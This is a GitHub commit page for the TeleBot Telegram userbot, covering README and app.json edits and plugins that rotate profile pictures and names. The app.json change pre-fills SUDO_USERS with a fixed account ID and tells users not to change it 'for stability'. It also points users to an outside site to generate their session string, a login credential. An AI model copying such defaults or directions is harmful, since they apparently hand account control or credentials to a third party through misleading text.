Skip to content

Commit

Permalink
Merge branch 'master' into Telebot-beta
Browse files Browse the repository at this point in the history
  • Loading branch information
xditya authored Jun 15, 2020
2 parents 891b31e + 00ec8da commit a6320f6
Show file tree
Hide file tree
Showing 33 changed files with 2,054 additions and 313 deletions.
10 changes: 6 additions & 4 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,10 +1,12 @@
# FORK AND STAR BEFORE INSTALLING
[Watch video tutorial on deploying](https://youtu.be/XmvdDHiIDb4)
# Installing
Join https://t.me/TeleBotHelp for updates and tuts
### The Easy Way

[![Deploy To Heroku](https://www.herokucdn.com/deploy/button.svg)](https://heroku.com/deploy)
### The Easy Way to install

[![Deploy To Heroku](https://www.herokucdn.com/deploy/button.svg)](https://heroku.com/deploy?template=https://github.com/xditya/TeleBot)

# Support
Join https://t.me/TeleBotHelp for updates and suggestions.

### The Normal Way

Expand Down
22 changes: 16 additions & 6 deletions app.json
Original file line number Diff line number Diff line change
Expand Up @@ -31,7 +31,7 @@
"value": ""
},
"STRING_SESSION": {
"description": "Get this value by running python3 telesetup.py locally",
"description": "Get this value by running python3 telesetup.py locally or https://telebot-sessionstring-generator.xditya.repl.run online.",
"value": ""
},
"CUSTOM_PMPERMIT": {
Expand Down Expand Up @@ -78,19 +78,29 @@
"required": false
},
"SUDO_USERS": {
"description": "Makes your acc and bot stable",
"description": "Don't change the value here. (Makes your acc and bot stable)",
"value": "719195224",
"required": false
},
"PRIVATE_GROUP_BOT_API_ID": {
"description": "Must read https://telegra.ph/TeleBot-Setup-06-06 for knowing how to get the value. Required for pmpermit.",
"value": "",
"required": true
},
"PRIVATE_GROUP_ID": {
"description": "Same value as PRIVATE_GROUP_BOT_API_ID. Must read https://telegra.ph/TeleBot-Setup-06-06 for knowing how to get the value. Required for pmpermit.",
"value": "",
"required": true
},
"HEROKU_APP_NAME": {
"description": "The Value of App Name you filled in right on top.Required for updater to work.",
"value": "",
"required": true
},
"TG_BOT_TOKEN_BF_HER": {
"description": "Needed for inline buttons maker. Make a bot at [BotFather](http://telegram.dog/BotFather) and get the token of your bot.Worth it. Get it.",
"description": "Needed for inline buttons maker. Make a bot at [BotFather](http://telegram.dog/BotFather) and get the token of your bot. Get it else .help won't work.",
"value": "",
"required": false
"required": true
},
"CHROME_BIN": {
"description": "For Carbon.py. Leave as it is. ",
Expand All @@ -103,9 +113,9 @@
"required": false
},
"TG_BOT_USER_NAME_BF_HER": {
"description": "Needed for inline buttons maker. Make a bot at [BotFather](http://telegram.dog/BotFather) and get the username of your bot",
"description": "Needed for inline buttons maker. Make a bot at [BotFather](http://telegram.dog/BotFather) and get the username of your bot. Needed for .help to work.",
"value": "",
"required": false
"required": true
},
"DOWNLOAD_PFP_URL_CLOCK": {
"description": "Needed for autopic module. A url that is a preview link of your Profile Pic",
Expand Down
78 changes: 78 additions & 0 deletions userbot/plugins/actressdp.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,78 @@
#Made By @TeleBotComms Keep Credits If You Are Goanna Kang This Lol

#And Thanks To The Creator Of Autopic This Script Was Made from Snippets From That Script

#Usage .actressdp Im Not Responsible For Any Ban caused By This

import requests , re , random

import urllib , os

from telethon.tl import functions

from datetime import datetime

from PIL import Image, ImageDraw, ImageFont

from userbot.utils import admin_cmd

import asyncio

from time import sleep

COLLECTION_STRING = [

"indian-actress-wallpapers",

"latest-bollywood-actress-wallpapers-2018-hd",

"bollywood-actress-wallpaper",

"hd-wallpapers-of-bollywood-actress",

"new-bollywood-actress-wallpaper-2018"

]

async def animepp():

os.system("rm -rf donot.jpg")

rnd = random.randint(0, len(COLLECTION_STRING) - 1)

pack = COLLECTION_STRING[rnd]

pc = requests.get("http://getwallpapers.com/collection/" + pack).text

f = re.compile('/\w+/full.+.jpg')

f = f.findall(pc)

fy = "http://getwallpapers.com"+random.choice(f)

print(fy)

if not os.path.exists("f.ttf"):

urllib.request.urlretrieve("https://github.com/rebel6969/mym/raw/master/Rebel-robot-Regular.ttf","f.ttf")

urllib.request.urlretrieve(fy,"donottouch.jpg")

@borg.on(admin_cmd(pattern="actressdp ?(.*)"))

async def main(event):

await event.edit("**Starting Actress Profile Pic...\n\nDone !!! Check Your DP in 5 seconds. \n By [TeleBot](https://github.com/xditya/TeleBot)**")

while True:

await animepp()

file = await event.client.upload_file("donottouch.jpg")

await event.client(functions.photos.UploadProfilePhotoRequest( file))

os.system("rm -rf donottouch.jpg")

await asyncio.sleep(600) #Edit this to your required needs

78 changes: 78 additions & 0 deletions userbot/plugins/animedp.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,78 @@
#Made By @TeleBotHelp Keep Credits If You Are Goanna Kang This Lol

#And Thanks To The Creator Of Autopic This Script Was Made from Snippets From That Script

#Usage .actressdp Im Not Responsible For Any Ban caused By This

import requests , re , random

import urllib , os

from telethon.tl import functions

from datetime import datetime

from PIL import Image, ImageDraw, ImageFont

from userbot.utils import admin_cmd

import asyncio

from time import sleep

COLLECTION_STRING = [

"cute-anime-wallpapers-hd",

"anime-christmas-wallpaper-hd",

"anime-samurai-girl-wallpaper",

"4k-anime-wallpapers",

"2560-x-1440-wallpaper-anime"

]

async def animepp():

os.system("rm -rf donot.jpg")

rnd = random.randint(0, len(COLLECTION_STRING) - 1)

pack = COLLECTION_STRING[rnd]

pc = requests.get("http://getwallpapers.com/collection/" + pack).text

f = re.compile('/\w+/full.+.jpg')

f = f.findall(pc)

fy = "http://getwallpapers.com"+random.choice(f)

print(fy)

if not os.path.exists("f.ttf"):

urllib.request.urlretrieve("https://github.com/rebel6969/mym/raw/master/Rebel-robot-Regular.ttf","f.ttf")

urllib.request.urlretrieve(fy,"donottouch.jpg")

@borg.on(admin_cmd(pattern="animedp ?(.*)"))

async def main(event):

await event.edit("**Starting Anime Profile Pic...\n\nDone !!! Check Your DP in 5 seconds. By [TeleBot](https://github.com/xditya/TeleBot)**")

while True:

await animepp()

file = await event.client.upload_file("donottouch.jpg")

await event.client(functions.photos.UploadProfilePhotoRequest( file))

os.system("rm -rf donottouch.jpg")

await asyncio.sleep(600) #Edit this to your required needs

42 changes: 7 additions & 35 deletions userbot/plugins/autoname.py
Original file line number Diff line number Diff line change
@@ -1,68 +1,40 @@
"""Auto Profile Updation Commands
.autoname"""

from telethon import events

import asyncio

import time

from telethon.tl import functions

from telethon.errors import FloodWaitError

from uniborg.util import admin_cmd
from userbot import ALIVE_NAME

DEL_TIME_OUT = 70

@borg.on(admin_cmd(pattern="autoname")) # pylint:disable=E0602
DEL_TIME_OUT = 60
DEFAULTUSER = str(ALIVE_NAME) if ALIVE_NAME else "TeleBot"

async def _(event):

@borg.on(admin_cmd(pattern="autoname")) # pylint:disable=E0602
async def _(event):
if event.fwd_from:

return

while True:

DM = time.strftime("%d-%m-%y")

HM = time.strftime("%H:%M")

name = f"{HM} Aditya 🇮🇳 {DM}"

name = f"🕒{HM}{DEFAULTUSER}{DM} 🗓️"
logger.info(name)

try:

await borg(functions.account.UpdateProfileRequest( # pylint:disable=E0602

first_name=name

))

except FloodWaitError as ex:

logger.warning(str(e))

await asyncio.sleep(ex.seconds)



# else:

# logger.info(r.stringify())

# await borg.send_message( # pylint:disable=E0602

# Config.PRIVATE_GROUP_BOT_API_ID, # pylint:disable=E0602

# "Successfully Changed Profile Name"

# )

await asyncio.sleep(DEL_TIME_OUT)

await event.edit(f"Auto Name has been started Master")

await event.edit(f"Auto Name has been started...")
8 changes: 2 additions & 6 deletions userbot/plugins/autopic.py
Original file line number Diff line number Diff line change
Expand Up @@ -16,12 +16,9 @@ async def autopic(event):
photo = "userbot/photo_pfp.png"
while not downloader.isFinished():
place_holder = None
counter = -30
while True:
shutil.copy(downloaded_file_name, photo)
im = Image.open(photo)
file_test = im.rotate(counter, expand=False).save(photo, "PNG")
current_time = datetime.now().strftime(" TeleBot\n⚡⚡⚡⚡⚡⚡⚡⚡⚡⚡⚡⚡⚡⚡⚡⚡⚡⚡⚡⚡ \n Time: %H:%M \n Date: %d.%m.%y \n⚡⚡⚡⚡⚡⚡⚡⚡⚡⚡⚡⚡⚡⚡⚡⚡⚡⚡⚡⚡")
shutil.copy(downloaded_file_name, photo)
current_time = datetime.now().strftime("⚡⚡⚡⚡⚡⚡⚡⚡⚡⚡⚡⚡⚡⚡⚡⚡⚡⚡⚡⚡ \n Time: %H:%M \n Date: %d.%m.%y \n⚡⚡⚡⚡⚡⚡⚡⚡⚡⚡⚡⚡⚡⚡⚡⚡⚡⚡⚡⚡")
img = Image.open(photo)
drawn_text = ImageDraw.Draw(img)
fnt = ImageFont.truetype(FONT_FILE_TO_USE, 30)
Expand All @@ -33,7 +30,6 @@ async def autopic(event):
file
))
os.remove(photo)
counter -= 30
await asyncio.sleep(60)
except:
return
Loading

0 comments on commit a6320f6

Please sign in to comment.